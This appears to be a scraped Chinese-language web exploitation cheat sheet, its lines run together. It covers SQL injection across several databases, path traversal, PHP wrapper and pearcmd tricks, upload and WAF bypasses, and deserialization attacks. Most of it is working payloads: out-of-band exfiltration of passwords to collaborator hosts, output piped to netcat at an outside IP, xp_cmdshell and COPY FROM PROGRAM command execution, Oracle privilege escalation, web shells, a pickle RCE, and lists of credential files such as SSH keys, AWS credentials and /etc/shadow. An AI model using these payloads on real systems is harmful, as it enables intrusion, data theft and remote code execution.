DB_NAME(N)UNION SELECT NULL,DB_NAME(N),NULL--UNION SELECT NULL,name,NULL FROM master ..sysdatabases--SELECT catalog_name FROM information_schema.schemata1=(select name from master.dbo.sysdatabases where dbid=5)爆表名
SELECT table_catalog, table_name FROM information_schema.tablesSELECT name FROM sysobjects WHERE xtype='U'ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--爆column
SELECT table_catalog, table_name, column_name FROM information_schema.columnsSELECT name FROM syscolumns WHERE id=object_id('news')ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')一次性獲取全部資料
select quotename(name) from master..sysdatabases FOR XML PATH('')select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json autoUnion Based
NULL來避免Error Based
id=1 and user=0Out of Band
declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)
fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
判斷是否站庫分離
select host_name();select @@servername;讀檔
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
執行 command
exec xp_cmdshell 'whoami'關閉xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 0;
RECONFIGURE;
快速查找帶關鍵字的表
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');繞 WAF
1%C2%85union%C2%85select%C2%A0null,@@version,null--0eunion+select+null,@@version,null--s%u0065lect 會被解析為 selectSELECT 語句必須包含 FROM
dual 表SUBSTR('abc', 1, 1) => 'a'00 0A 0D 0C 09 20IF condition THEN true-part [ELSE false-part] END IF--/**/select table_name from (select rownum no, table_name from all_tables) where no=1SYS.DATABASE_NAME
USER
sys.login_userSELECT role FROM session_roles
SELECT privilege FROM user_sys_privs
SELECT privilege FROM role_sys_privs
SELECT privilege FROM session_privs
SELECT banner FROM v$version where rownum=1
SELECT host_name FROM v$instance;
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'
utl_inaddr.get_host_address
select utl_inaddr.get_host_name('87.87.87.87') from dual
dba_tables
user_tables
SELECT DISTINCT OWNER FROM ALL_TABLESSELECT OWNER, TABLE_NAME FROM ALL_TABLESSELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNSNULL 來避免錯誤UNION SELECT 1, 'aa', null FROM dualdbms_pipe.receive_message(('a'),10)
SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dualCTXSYS.DRITHSX.SN
SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1utl_inaddr.get_host_name
and 1=utl_inaddr.get_host_name((SQL in HERE))dbms_xdb_version.checkin
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not nulldbms_xdb_version.makeversioned
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not nulldbms_xdb_version.uncheckout
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nulldbms_utility.sqlid_to_sqlhash
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not nullUTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1SYS.DBMS_LDAP.INIT()utl_inaddr.get_host_address()HTTPURITYPE
SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;extractvalue() XXE
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dualselect username from all_users
select name, password from sys.user$select username,password,account_status from dba_usersCREATE JAVA SOURCE NAMED "xxxx" AS <Java Code>create or replace library lib_evil as '/home/oracle/evil.so';create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name "cmd";select cmd('whoami') from dual;dbms_java.runjava
dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')DBMS_JAVA_TEST.FUNCALL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 1.2.3.4 1234') FROM DUAL;DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
-- 提權
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
-- 建立java command
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual
-- 賦予java執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
-- 創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
-- 賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual
-- 執行指令
select sys.cmd('cmd.exe /c whoami') from dual
dbms_xmlquery.newcontext
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
select LINXRUNCMD('whoami') from dual;
DBMS_XMLGEN.getXML('select user from dual')substr(“abc",1,1) => 'a'unicode('d') => 100length('ab') => 2||'a' || 'b' => 'ab'randomblob(100000000)0A 0D 0C 09 20ifCase When ... Then ... 代替case when (條件) then ... else ... end--SELECT name FROM sqlite_master WHERE type='table'SELECT sql FROM sqlite_master WHERE type='table'sqlite_version()\' 跳脫單引號[] 神奇用法
CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
l = 48
r = 122
while(l <= r)
#puts "left: #{l}, right: #{r}"
break if l == r
mid = ((l + r) / 2)
$query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
if res.body.include? 'document.location'
l = mid + 1
else
r = mid
end
end
$ans += l.chr
puts $ans
end
substr("abc", 1, 1) => 'a'ascii('x') => 120chr(65) => A||'a' || 'b' => 'ab'pg_sleep(5)GENERATE_SERIES(1, 1000000)repeat('a', 10000000)0A 0D 0C 09 20encode('123\\000\\001', 'base64') => MTIzAAE=decode('MTIzAAE=', 'base64') => 123\000\001limit a offset b 略過前 b 筆,抓出 a 筆出來--/**/SELECT $$This is a string$$SELECT datname FROM pg_databaseSELECT tablename FROM pg_tables WHERE schemaname='dbname'SELECT column_name FROM information_schema.columns WHERE table_name='admin'array_to_string(array(select userid||':'||password from users),',')SELECT * FROM pg_roles;SELECT usename, passwd FROM pg_shadowCOPY TO/FROM PROGRAMpg_read_server_files 群組的 user 可以執行任意指令DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;select system('id');CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;SELECT sys_eval("id");SELECT usename FROM pg_user;cast(count(*) as text)md5('abc')replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXefpg_read_file(filename, offset, length)
pg_ls_dir(dirname)
pg_query() 可以多語句執行lo_import(), lo_get() 讀檔
select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440select cast(lo_get(18440) as text) => secret_here%00, %16 來達到類似效果TOP, LAST 取代'UNION SELECT TOP 5 xxx FROM yyy%00'AND (SELECT TOP 1 'xxx' FROM table)%00FROM& (%26)+ (%2B)'UNION SELECT 'aa' %2b 'bb' FROM table%00ASC()'UNION SELECT ASC('A') FROM table%00Mid()Mid('admin',1,1)IFF(condition, true, false)'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00\' 跳脫'' 跳脫'abc\''or 1=(SELECT 1)--'
query_to_xml('Arbitary SQL')dbms_xmlgen.getxml('SQL')ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR 在 MySQL 層就會被解成單引號 (在 HQL 層則不是)/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a
/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a/a'*length('a')*'[shit]'-- [shit]org.apache.batik.util.XMLConstants.XML_CHAR_APOScom.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTEjodd.util.StringPool.SINGLE_QUOTEch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHARcz.vutbr.web.csskit.OutputUtil.STRING_OPENINGcom.sun.java.help.impl.DocPConst.QUOTEorg.eclipse.help.internal.webapp.utils.JSonHelper.QUOTEorg.apache.logging.log4j.util.Chars.QUOTEHQL injection example (pwn2win 2017)
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "flag": No such file or directoryorder=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "secret": No such file or directoryorder=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";276f722736c95d99e921722cf9ed621c'or'6<trash>id=1&id=2&id=3
id=1,2,3id=1,2,3id=3python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
--dbs-D dbname --tables-D dbname -T tbname --columns-D dbname -T tbname --dump
--start=1--stop=5566--is-dba--passwords--privileges--os-shell--sql-shell--file-read=/etc/passwd--time-sec=10--random-agent--threads=10--level=3
--technique
BEUSTQ--cookie="abc=55667788"--tor --check-tor --tor-type=SOCKS5 --tor-port=9050Common Payload
./index.php././index.php.//index.php../../../../../../etc/passwd../../../../../../etc/passwd%00
....//....//....//....//etc/passwd%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%252e/%252e/etc/passwdNN/NN/NN/etc/passwd.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwdstatic\..\..\..\..\..\..\..\..\etc\passwdConfig
/usr/local/apache2/conf/httpd.conf/usr/local/etc/apache2/httpd.conf/usr/local/nginx/conf/nginx.conf/etc/apache2/sites-available/000-default.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf/etc/httpd/conf/httpd.conf/etc/nginx/conf.d/default.conf/etc/nginx/nginx.conf/etc/nginx/sites-enabled/default/etc/nginx/sites-enabled/default.conf/etc/mysql/my.cnf/etc/resolv.conf/etc/named.conf/etc/rsyslog.conf/etc/samba/smb.conf/etc/openldap/slapd.conf/etc/mongod.conf/etc/krb5.conf~/.tmux.conf~/.mongorc.js$TOMCAT_HOME/conf/tomcat-users.xml$TOMCAT_HOME/conf/server.xmlLog
/var/log/apache2/error.log/var/log/httpd/access_log/var/log/mail.log/var/log/auth.log/var/log/messages/var/log/secure/var/log/sshd.log/var/log/mysqld.log/var/log/mongodb/mongod.log.pm2/pm2.log$TOMCAT_HOME/logs/catalina.outHistory
.history.bash_history.sh_history.zsh_history.viminfo.php_history.mysql_history.dbshell.histfile.node_repl_history.python_history.scapy_history.sqlite_history.psql_history.rediscli_history.coffee_history.lesshst.wget-hsts.config/fish/fish_history.local/share/fish/fish_history.ipython/profile_default/history.sqlite其他
/proc/self/cmdline/proc/self/fd/[0-9]*/proc/self/environ/proc/net/fib_trie/proc/mounts/proc/net/arp/proc/net/tcp/proc/sched_debug.htaccess~/.bashrc~/.bash_profile~/.bash_logout~/.zshrc~/.aws/config~/.aws/credentials~/.boto~/.s3cfg~/.gitconfig~/.config/git/config~/.git-credentials~/.env/etc/passwd/etc/shadow/etc/hosts/etc/rc.d/rc.local/etc/boto.cfg/root/.ssh/id_rsa/root/.ssh/authorized_keys/root/.ssh/known_hosts/root/.ssh/config/etc/sysconfig/network-scripts/ifcfg-eth0/etc/exports/etc/crontab/var/spool/cron/root/var/spool/cron/crontabs/root/var/mail/<username>C:/Windows/win.iniC:/boot.iniC:/apache/logs/access.log../../../../../../../../../boot.ini/.......................C:\Windows\System32\drivers\etc\hostsC:\WINDOWS\System32\Config\SAMC:/WINDOWS/repair/samC:/WINDOWS/repair/system%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\RegBack\system%WINDIR%\system32\config\AppEvent.Evt%WINDIR%\system32\config\SecEvent.Evt%WINDIR%\iis[version].log%WINDIR%\debug\NetSetup.log%SYSTEMDRIVE%\autoexec.batC:\Documents and Settings\All Users\Application Data\Git\configC:\ProgramData\Git\config$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtC:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.configC:\Windows\System32\inetsrv\config\ApplicationHost.configC:\WINDOWS\debug\NetSetup.logC:\WINDOWS\pfro.logC:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config../../../../proc/self/environ
php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-decode/resource=index.phpphp://filter/read=string.rot13/resource=index.phpphp://filter/zlib.deflate/resource=index.phpphp://filter/zlib.inflate/resource=index.phpphp://filter/convert.quoted-printable-encode/resource=index.phpphp://filter/read=string.strip_tags/resource=php://inputphp://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.phpphp://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php?page=php://input
<?php system("net user"); ?>url_allow_include,5.4.0 直接廢除PrivateTmp,無法利用sess_{PHPSESSID} 中session.upload_progress
session.upload_progress.enabled 開啟,可以 POST 在 $_SESSION 中添加資料 (sess_{PHPSESSID})session.upload_progress.cleanup=on 時,可以透過 Race conditionupload_progress_,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析register_argc_argv/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php/?+download+https://kaibro.tw/shell.php+&fike=/usr/local/lib/php/pearcmd.php/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
/?+install+--force+--installroot+/tmp/wtf+http://kaibro.tw/KaibroShell.tgz+?&file=/usr/local/lib/php/pearcmd.php/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt當 Request body 過大或是 fastcgi server response 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)
/var/lib/nginx/body/, /var/lib/nginx/fastcgi/ 下建立暫存檔/proc/<nginx worker pid>/fd/<fd> 來取得被刪除的檔案內容
include() 會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted) 格式,導致引入失敗/proc/self/fd/34/../../../34/fd/15/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15Example
?file=data://text/plain,<?php phpinfo()?>?file=data:text/plain,<?php phpinfo()?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=?file=zip://myzip.zip#php.jpg <?php
$p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
$x = file_get_contents('./a.php');
$p->addFromString('b.jpg', $x);
?>
?file=phar://phartest.zip/b.jpg.shtml, .shtm, .stm<!--#exec cmd="command"--><!--#include file="../../web.config"-->大小寫繞過
空格 / 點 / Null 繞過
php3457
asp
aspx
jsp
.htaccess
<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>
ErrorDocument 404 %{file:/etc/passwd}redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}".user.ini
PHP_INI_PERDIR 和 PHP_INI_USER 的設定auto_prepend_file=test.jpg文件解析漏洞
NTFS ADS
test.php:a.jpg
test.phptest.php::$DATA
test.phptest.php::$INDEX_ALLOCATION
test.php 資料夾test.php::$DATA.jpg
0.jpgtest.php::$DATA\aaa.jpg
aaa.jpgFF D8 FF E0 00 10 4A 46 49 4647 49 36 38 39 6189 50 4E 47filename 前後塞 %20, %09, %0a, %0b, %0c, %0d, %1c, %1d, %1e, %1f
Content-Disposition: form-data; name="file"; %1cfilename%0a="shell.jsp"Content-Disposition: form-data; name="file"; filename="=?UTF-8?B?c2hlbGwuanNw?="Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=73=68=65=6c=6c=2e=6a=73=70?="Content-Disposition: form-data; name="file"; filename*="1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="Content-Disposition: 後的 filename=xxxContent-Disposition:name="file"kaibrokaibrofilename=shell.aspxfilename=a.php; filename*=UTF-8''a
a.phpax=filename="1;/../shell.aspx";
x=filenmae="1;filename="1;/../shell.aspx"Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="query";
Content-Type: image/jpeg&action=search&query=aaa'or''='
meow
--x--
Null Byte:
Content-Type: multipart/form-data; boundary=x
--x\0
Content-Disposition: form-data; name="path";
../../../../etc/passwd
--x\0
--
Double Boundary (前後端解析不一致):
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
--x
Content-Disposition: form-data; name="test";
Content-Type: text/plain
--y
Content-Disposition: form-data; name="msg";
Content-Type: text/plain
1
--y--
--x--
(後端吃y, WAF吃x)
--
Combo (Double Boundary + Form header confusion + Content-type mutation):
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="JScript"%><%eval(Request.Item["x"],"unsafe");%>
--y:--
--x--
phpXXXXXXphpXXXXXX.tmpcurl http://127.0.0.1:8080/ -H "Cookie: JSESSIONID=910666EC33F0B928D05C3C277397DBC5" --limit-rate 1K -F "files=@payload" -X GET/tmp/tomcat.8080.15601954988790012368/work/Tomcat/localhost/ROOTcurl -F file=@hello.txt http://127.0.0.1:3000/RackMultipart20250103-1-sc3f98.txt (6 bytes 隨機)/proc/self/fd/xxx link 到暫存檔案__construct()
__destruct()
__wakeup()
__sleep()
__toString()
Value
s:size:value;i:value;b:value; ('1' or '0')N;a:size:{key definition; value definition; (repeat per element)}O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}Public / Private / Protected 序列化
例如:class名字為: Kaibro,變數名字: test
若為Public,序列化後:
...{s:4:"test";...}若為Private,序列化後:
...{s:12:"%00Kaibro%00test"}若為Protected,序列化後:
...{s:7:"%00*%00test";...}Private和Protected會多兩個NULL byte
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}uid=33(www-data) gid=33(www-data) groups=33(www-data) <?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
CVE-2016-7124
__wakeup 的執行__destruct 會執行小特性
O:+4:"test":1:{s:1:"a";s:3:"aaa";}O:4:"test":1:{s:1:"a";s:3:"aaa";}Fast Destruct
__destruct()
Array('key1' => classA, 'key1' => classB)ASCII Strings
S 的序列化格式,則可以將字串內容改用 hex 表示
s:5:"A<null_byte>B<cr><lf>";̀ => S:5:"A\00B\09\0D";Phar:// 反序列化
phar 文件會將使用者自定義的 metadata 以序列化形式保存
透過 phar:// 偽協議可以達到反序列化的效果
常見影響函數: file_get_contents(), file_exists(), is_dir(), ...
透過 phar 觸發反序列化時,檔名需要有副檔名(任意副檔名都行)
Payload generator
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
php 識別 phar 是透過 __HALT_COMPILER();?>
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');trigger phar deserialization by zip
<?php
class FLAG{}
$obj=serialize(new FLAG());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'meow');
$zip->setArchiveComment($obj);
$zip->close();
// trigger: phar://test.zip
trigger phar deserialization by tar
<?php
//@unlink("trigger.tar");
class FLAG{}
$phar = new PharData("trigger.tar");
$phar["kaibro"] = "meow";
$obj = new FLAG();
$phar->setMetadata($obj);
// trigger: phar://trigger.tar
Generic Gadget Chains
bypass phar:// 不能出現在開頭
compress.zlib://, compress.bzip2://, ...compress.zlib://phar://meow.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://meow.pharExample
dumps() 將物件序列化成字串loads() 將字串反序列化Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
BAh: Marshal serialized data 的 base64 編碼特徵secret_key_base
ActiveSupport::MessageVerifier / ActiveSupport::MessageEncryptor
credentials.yml.enc 和 master.key 還原
ActiveModel::AttributeMethods::ClassMethods::CodeGeneratorthis one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
在 ERB 上,當 result 或 run method 被 call 時,@src 的 string 會被執行
常見使用情境:
secret_key,則可以偽造 CookieDeprecatedInstanceVariableProxy 去執行 ERB 的 result 來 RCE
DeprecatedInstanceVariableProxy 被 unmarshal,rails session 對他處理時遇到不認識的 method 就會呼叫 method_missing,導致執行傳入的 ERB@instance.__send__(@method)Cookie Serializer
XML 的 node 可以自訂 type,如果指定為 yaml,是會被成功解析的!ruby/hash,則相當於在物件上調用 obj[key]=val,也就是 []= 方法ActionDispatch::Routing::RouteSet::NamedRouteCollection 中的 []= 方法中,有一條代碼路徑可以 evaldefine_hash_access 中可以看到 module_eval,裏頭的 selector 來自 namevalue 調用 defaults method,所以可以利用 OpenStruct 來構造
函數名=>返回值的對應關係存放在 @table 中xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10); test' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo>
}.strip
text/json 的 request 轉成 YAML 解析Yaml 在 Rails 3.0.x 是預設的 JSON BackendYAML.load 前的 convert_json_to_yaml,他不會檢查輸入的 JSON 是否合法ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access 的 module_eval 來 RCEac ed 00 05 ...rO0AB ... (Base64)readObject()readExternal()list
lookup
bind/unbind/rebind
RMIRegistryExploit 即是打 bind
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"JRMPClient 可以用來打 DGC
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"useCodebaseOnly 預設為 true
com.sun.jndi.rmi.object.trustURLCodebase, com.sun.jndi.cosnaming.object.trustURLCodebase 預設為 false
com.sun.jndi.ldap.object.trustURLCodebase 預設為 false
org.apache.naming.factory.BeanFactory + javax.el.ELProcessorjavaSerializedData 進行反序列化org.apache.naming.factory.BeanFactory
forceString 可執行單一字串參數的 methodELProcessor or GroovyShell 來 RCEforceString 在 Tomcat 9.0.63 後被移除 (ref)ResourceRef ref = new ResourceRef(RESOURCECLASS , null, "", "", true, FACTORY, null);
ref.add(new StringRefAddr("forceString", "x=FUNC_NAME"));
ref.add(new StringRefAddr("x",VALUE));
javax.el.ELProcessor
eval 剛好吃一個字串參數,常配合 BeanFactory 來 RCEgroovy.lang.GroovyShell
evaluate 只吃一個字串參數,常配合 BeanFactory 來 RCEorg.apache.commons.configuration2.SystemConfiguration / org.apache.commons.configuration.SystemConfiguration
